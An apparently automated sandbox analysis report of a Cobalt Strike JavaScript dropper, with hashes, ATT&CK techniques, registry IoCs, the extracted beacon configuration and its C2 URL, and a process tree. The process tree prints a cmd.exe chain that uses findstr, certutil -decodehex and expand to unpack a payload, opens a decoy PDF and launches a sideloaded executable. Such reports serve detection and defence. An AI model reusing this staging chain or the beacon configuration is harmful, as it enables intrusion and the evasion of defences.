cobaltstrike | 1fcd696c75e9dea9ab04213e2a7925aa18198e30afd99cf3bd0eb01b6ebcbc88

Analysis

max time kernel
148s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
19/07/2024, 12:30

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
__MACOS/_params2.cat.js
Size 1.7MB
Sample240719-ppn5ba1dpn
SHA256 22b2d9c5d3aa575283bc0afc60df5fb8720c384bd7040ca6e4e42491b5fefcde
MD5 dee63329fa6efe64693d90a54585cff0
SHA1 4072887f7f5a706b1986df229d4b3fe4bfe1f209
SHA512 573f524deee9ac23c8b962c1394c9d7c2d885cf1127afa172b5d48da2ff45667a6e204f90aaf2dd5e12dab907f83d7458a959565700c45191ade2fda8e684232
SSDEEP 24576:OE4WChcawAdDbiNyhMgM/tyBMZBRKqOr8UHJt7aOefLDDlzWCFQYGsncMs03bdkS:d
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

cobaltstrike 100000000 backdoor execution link pdf trojan

Malware Config

Extracted

Family

cobaltstrike

Botnet

100000000

http://upserver.updateservice.store:443/common.html

Attributes

access_type
512
beacon_type
2048
host
upserver.updateservice.store,/common.html
http_header1
AAAAEAAAACJIb3N0OiB1cHNlcnZlci51cGRhdGVzZXJ2aWNlLnN0b3JlAAAACgAAABFDb25uZWN0aW9uOiBjbG9zZQAAAAcAAAAAAAAACwAAAAMAAAACAAAAA2x1PQAAAAYAAAAGQ29va2llAAAACQAAAAt2ZXJpZnk9dHJ1ZQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
http_header2
AAAAEAAAACJIb3N0OiB1cHNlcnZlci51cGRhdGVzZXJ2aWNlLnN0b3JlAAAACgAAABFDb25uZWN0aW9uOiBjbG9zZQAAAAoAAAAvQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQAAAAHAAAAAQAAAAMAAAADAAAAAgAAAAhhdXRob3JzPQAAAAQAAAAHAAAAAAAAAAMAAAACAAAADl9fc2Vzc2lvbl9faWQ9AAAABgAAAAZDb29raWUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
http_method1
GET
http_method2
POST
jitter
9472
polling_time
58666
port_number
443
sc_process32
%windir%\syswow64\svchost.exe
sc_process64
%windir%\sysnative\svchost.exe
state_machine
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCdQ5nVpJ13O9CwiQRtLOdTAwGg6oj4mvtVqZvCbSy9YyU3ngZSDBgmWjSMwrTqMvvKUr5RvigK1N00xTGT4LVtDESUaUvyGU79G24yPaF5rUOJjnAIRazosjB87DvXbI6k45HQsVyZD7wgEXnKFmv3E0Tk9ti5G0eVOKL5tqdS5QIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
unknown1
6.1158912e+08
unknown2
AAAABAAAAAIAAAJYAAAAAwAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
uri
/r-arrow
user_agent
Mozilla/5.0 (Windows Phone 10.0; Android 6.0.1; Microsoft; RM-1152) AppleWebKit/537.36 (KHTML, like Gecko)
watermark
100000000

Signatures

Cobaltstrike
Detected malicious payload which is part of Cobaltstrike.
trojan backdoor cobaltstrike

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
4436	pfexec.exe

Loads dropped DLL 1 IoCs

pid	Process
4436	pfexec.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\LOGS\DPX\setupact.log	expand.exe
File opened for modification	C:\Windows\LOGS\DPX\setuperr.log	expand.exe

HTTP links in PDF interactive object 1 IoCs

Detects HTTP links in interactive objects within PDF files.

pdf link

resource	yara_rule
behavioral8/files/0x00070000000234e6-17.dat	pdf_with_link_action

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AcroRd32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	AcroRd32.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	AcroRd32.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

pid	Process
1472	AcroRd32.exe
1472	AcroRd32.exe
1472	AcroRd32.exe
1472	AcroRd32.exe
1472	AcroRd32.exe
1472	AcroRd32.exe
1472	AcroRd32.exe
1472	AcroRd32.exe
1472	AcroRd32.exe
1472	AcroRd32.exe
1472	AcroRd32.exe
1472	AcroRd32.exe
1472	AcroRd32.exe
1472	AcroRd32.exe
1472	AcroRd32.exe
1472	AcroRd32.exe
1472	AcroRd32.exe
1472	AcroRd32.exe
1472	AcroRd32.exe
1472	AcroRd32.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1472	AcroRd32.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
1472	AcroRd32.exe
1472	AcroRd32.exe
1472	AcroRd32.exe
1472	AcroRd32.exe
1472	AcroRd32.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1816 wrote to memory of 5064	1816	wscript.exe	84
PID 1816 wrote to memory of 5064	1816	wscript.exe	84
PID 5064 wrote to memory of 2172	5064	cmd.exe	86
PID 5064 wrote to memory of 2172	5064	cmd.exe	86
PID 5064 wrote to memory of 4732	5064	cmd.exe	88
PID 5064 wrote to memory of 4732	5064	cmd.exe	88
PID 5064 wrote to memory of 4560	5064	cmd.exe	90
PID 5064 wrote to memory of 4560	5064	cmd.exe	90
PID 5064 wrote to memory of 1472	5064	cmd.exe	92
PID 5064 wrote to memory of 1472	5064	cmd.exe	92
PID 5064 wrote to memory of 1472	5064	cmd.exe	92
PID 5064 wrote to memory of 4436	5064	cmd.exe	94
PID 5064 wrote to memory of 4436	5064	cmd.exe	94
PID 5064 wrote to memory of 4436	5064	cmd.exe	94
PID 1472 wrote to memory of 2736	1472	AcroRd32.exe	99
PID 1472 wrote to memory of 2736	1472	AcroRd32.exe	99
PID 1472 wrote to memory of 2736	1472	AcroRd32.exe	99
PID 2736 wrote to memory of 1944	2736	RdrCEF.exe	100
PID 2736 wrote to memory of 1944	2736	RdrCEF.exe	100
PID 2736 wrote to memory of 1944	2736	RdrCEF.exe	100
PID 2736 wrote to memory of 1944	2736	RdrCEF.exe	100
PID 2736 wrote to memory of 1944	2736	RdrCEF.exe	100
PID 2736 wrote to memory of 1944	2736	RdrCEF.exe	100
PID 2736 wrote to memory of 1944	2736	RdrCEF.exe	100
PID 2736 wrote to memory of 1944	2736	RdrCEF.exe	100
PID 2736 wrote to memory of 1944	2736	RdrCEF.exe	100
PID 2736 wrote to memory of 1944	2736	RdrCEF.exe	100
PID 2736 wrote to memory of 1944	2736	RdrCEF.exe	100
PID 2736 wrote to memory of 1944	2736	RdrCEF.exe	100
PID 2736 wrote to memory of 1944	2736	RdrCEF.exe	100
PID 2736 wrote to memory of 1944	2736	RdrCEF.exe	100
PID 2736 wrote to memory of 1944	2736	RdrCEF.exe	100
PID 2736 wrote to memory of 1944	2736	RdrCEF.exe	100
PID 2736 wrote to memory of 1944	2736	RdrCEF.exe	100
PID 2736 wrote to memory of 1944	2736	RdrCEF.exe	100
PID 2736 wrote to memory of 1944	2736	RdrCEF.exe	100
PID 2736 wrote to memory of 1944	2736	RdrCEF.exe	100
PID 2736 wrote to memory of 1944	2736	RdrCEF.exe	100
PID 2736 wrote to memory of 1944	2736	RdrCEF.exe	100
PID 2736 wrote to memory of 1944	2736	RdrCEF.exe	100
PID 2736 wrote to memory of 1944	2736	RdrCEF.exe	100
PID 2736 wrote to memory of 1944	2736	RdrCEF.exe	100
PID 2736 wrote to memory of 1944	2736	RdrCEF.exe	100
PID 2736 wrote to memory of 1944	2736	RdrCEF.exe	100
PID 2736 wrote to memory of 1944	2736	RdrCEF.exe	100
PID 2736 wrote to memory of 1944	2736	RdrCEF.exe	100
PID 2736 wrote to memory of 1944	2736	RdrCEF.exe	100
PID 2736 wrote to memory of 1944	2736	RdrCEF.exe	100
PID 2736 wrote to memory of 1944	2736	RdrCEF.exe	100
PID 2736 wrote to memory of 1944	2736	RdrCEF.exe	100
PID 2736 wrote to memory of 1944	2736	RdrCEF.exe	100
PID 2736 wrote to memory of 1944	2736	RdrCEF.exe	100
PID 2736 wrote to memory of 1944	2736	RdrCEF.exe	100
PID 2736 wrote to memory of 1944	2736	RdrCEF.exe	100
PID 2736 wrote to memory of 1944	2736	RdrCEF.exe	100
PID 2736 wrote to memory of 1944	2736	RdrCEF.exe	100
PID 2736 wrote to memory of 1944	2736	RdrCEF.exe	100
PID 2736 wrote to memory of 1944	2736	RdrCEF.exe	100
PID 2736 wrote to memory of 2468	2736	RdrCEF.exe	101
PID 2736 wrote to memory of 2468	2736	RdrCEF.exe	101
PID 2736 wrote to memory of 2468	2736	RdrCEF.exe	101
PID 2736 wrote to memory of 2468	2736	RdrCEF.exe	101
PID 2736 wrote to memory of 2468	2736	RdrCEF.exe	101
PID 2736 wrote to memory of 2468	2736	RdrCEF.exe	101

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\__MACOS\_params2.cat.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1816
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c findstr 4d534346 C:\Users\Admin\AppData\Roaming\fNXCtU.tmp > C:\Users\Admin\AppData\Roaming\Yvihwh.tmp&for /r c:\windows\system32\ %i in (*ertu*.exe) do %i -decodehex C:\Users\Admin\AppData\Roaming\Yvihwh.tmp C:\Users\Admin\AppData\Roaming\DWlCNX.tmp&expand -F:* C:\Users\Admin\AppData\Roaming\DWlCNX.tmp C:\Users\Admin\AppData\Roaming\&start C:\Users\Admin\AppData\Roaming\China_paper.pdf&start C:\Users\Admin\AppData\Roaming\pfexec.exe&del C:\Users\Admin\AppData\Roaming\fNXCtU.tmp C:\Users\Admin\AppData\Roaming\Yvihwh.tmp C:\Users\Admin\AppData\Roaming\DWlCNX.tmp
  2⤵
  - Checks computer location settings
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:5064
- - C:\Windows\system32\findstr.exe
    findstr 4d534346 C:\Users\Admin\AppData\Roaming\fNXCtU.tmp
    3⤵
    PID:2172
- - \??\c:\windows\system32\certutil.exe
    c:\windows\system32\certutil.exe -decodehex C:\Users\Admin\AppData\Roaming\Yvihwh.tmp C:\Users\Admin\AppData\Roaming\DWlCNX.tmp
    3⤵
    PID:4732
- - C:\Windows\system32\expand.exe
    expand -F:* C:\Users\Admin\AppData\Roaming\DWlCNX.tmp C:\Users\Admin\AppData\Roaming\
    3⤵
    - Drops file in Windows directory
    PID:4560
- - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
    "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Roaming\China_paper.pdf"
    3⤵
    - Checks processor information in registry
    - Modifies Internet Explorer settings
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:1472
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2736
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=31ECCF5AE7240D75BEAFD15D6FC8A502 --mojo-platform-channel-handle=1776 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        5⤵
        
        PID:1944
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=CEE646D4CD8F7A485B8B4FEA7A7A4FAD --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=CEE646D4CD8F7A485B8B4FEA7A7A4FAD --renderer-client-id=2 --mojo-platform-channel-handle=1792 --allow-no-sandbox-job /prefetch:1
        5⤵
        
        PID:2468
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=85B01DD388CA9F442CE6BBB578E5B08C --mojo-platform-channel-handle=2344 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        5⤵
        
        PID:1992
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=7DC8E378A08BC5A35EFEB96D74EB5BC3 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=7DC8E378A08BC5A35EFEB96D74EB5BC3 --renderer-client-id=5 --mojo-platform-channel-handle=2476 --allow-no-sandbox-job /prefetch:1
        5⤵
        
        PID:4060
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=31BE3601F391FAD6ECAE2213BAFB33F2 --mojo-platform-channel-handle=2456 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        5⤵
        
        PID:4372
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=22BCA939992ECEF5E5B31BCB89696E38 --mojo-platform-channel-handle=2728 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        5⤵
        
        PID:32
- - C:\Users\Admin\AppData\Roaming\pfexec.exe
    C:\Users\Admin\AppData\Roaming\pfexec.exe
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:4436

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3472

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ReaderMessages

Path C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages
Size 64KB
SHA256 359855547e44377484140b768823fff7b6632307a9f1acd01e54f3421ecd3f89
MD5 3daedd50795c713bb6c27d67dde50217
SHA1 37c1792b25d0799056a9ba34f503dbed1cb34f71
SHA512 cc8ef92a27abdba43763e7ea474b95801deecbfcfd477e8e1ed4381ad09e291ce1bfc19ca63b88f6a9344e3a1f95f44def828490e05d1543dfa35327d6bb9423
SSDEEP 384:yeHdThatELJ8SWvDTGJCesZsLglKhubvGZsLRZh+vS4:S+elZsLQCZsL3hUS4
MD5 SHA1 SHA512 SSDEEP

Submit Download

ReaderMessages

Path C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages
Size 36KB
SHA256 b1b77e96279ead2b460de3de70e2ea4f5ad1b853598a4e27a5caf3f1a32cc4f3
MD5 b30d3becc8731792523d599d949e63f5
SHA1 19350257e42d7aee17fb3bf139a9d3adb330fad4
SHA512 523f54895fb07f62b9a5f72c8b62e83d4d9506bda57b183818615f6eb7286e3b9c5a50409bc5c5164867c3ccdeae88aa395ecca6bc7e36d991552f857510792e
SSDEEP 24:TLiXlzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9Mzm+Zs3tGl:TqlmFTIF3XmHjBoGGR+jMz+LhT
MD5 SHA1 SHA512 SSDEEP

Submit Download

ReaderMessages

Path C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages
Size 56KB
SHA256 111dac2948e4cecb10b0d2e10d8afaa663d78d643826b592d6414a1fd77cc131
MD5 752a1f26b18748311b691c7d8fc20633
SHA1 c1f8e83eebc1cc1e9b88c773338eb09ff82ab862
SHA512 a2f5f262faf2c3e9756da94b2c47787ce3a9391b5bd53581578aa9a764449e114836704d6dec4aadc097fed4c818831baa11affa1eb25be2bfad9349bb090fe5
SSDEEP 192:wedRBvVrThe4p4/KhTB4p4CitZtkZsLRGVDbw6H3ph+v3YQa9:weZdThkKhBvkZsLRGlzh+vS9
MD5 SHA1 SHA512 SSDEEP

Submit Download

China_paper.pdf

Path C:\Users\Admin\AppData\Roaming\China_paper.pdf
Size 134KB
SHA256 aa880c609f5cbac2b45977359d1fd87f8292bc23e262c7a71530ae28948bdb49
MD5 cf36324614bf0c7d2650ea0e25506aaf
SHA1 f7c36d63cdc4f7467ae20b03f358c0f4ad602814
SHA512 bc86ce76d7c89c97f920cd5411b9471b1f6a95806e6a9baa86e25fe73e12ff8a46b12976877bee337dd1577b67a224d229be3adda3385407fc1001756783b293
SSDEEP 3072:M6EODLaxuwkwfcC/wGASrvn+Pbi+cdnACQQhBWIZ:hEqIuQcC/wtjRCQwZ
MD5 SHA1 SHA512 SSDEEP

Submit Download

chrome_elf.dll

Path C:\Users\Admin\AppData\Roaming\chrome_elf.dll
Size 221KB
SHA256 fb6b0ff2da14b6447b21f0fc4ae73724667c8f6d296d707f18a28633b4e59ed0
MD5 4f265905d3adad5c9e0d0aa250849404
SHA1 c147c8646a34ae54e4bdbfaffdf44848b78c209f
SHA512 adddbcf8e5b9bc64fe6663911854d37f8dd586cef2dac8749c14faa554e74943021fa340624f49cf8854f70eb159faa9a12570d04d1ffe9686a1abebc8909398
SSDEEP 6144:a4kJ/qGca8YZjXm2sohzD21knwglLz2tMLzitT3f:eqGzjXm2siqynwgdz2WLzi9
MD5 SHA1 SHA512 SSDEEP

Submit Download

fNXCtU.tmp

Path C:\Users\Admin\AppData\Roaming\fNXCtU.tmp
Size 1.7MB
SHA256 86fb58a2602b89426b256b371a7453d3b9895e34ce23890f266802dc65e80c47
MD5 a0e8cacc2103ef81705680b7b7a96997
SHA1 37b8c24121aff2a817980648b0a29a9a2f4b3bdf
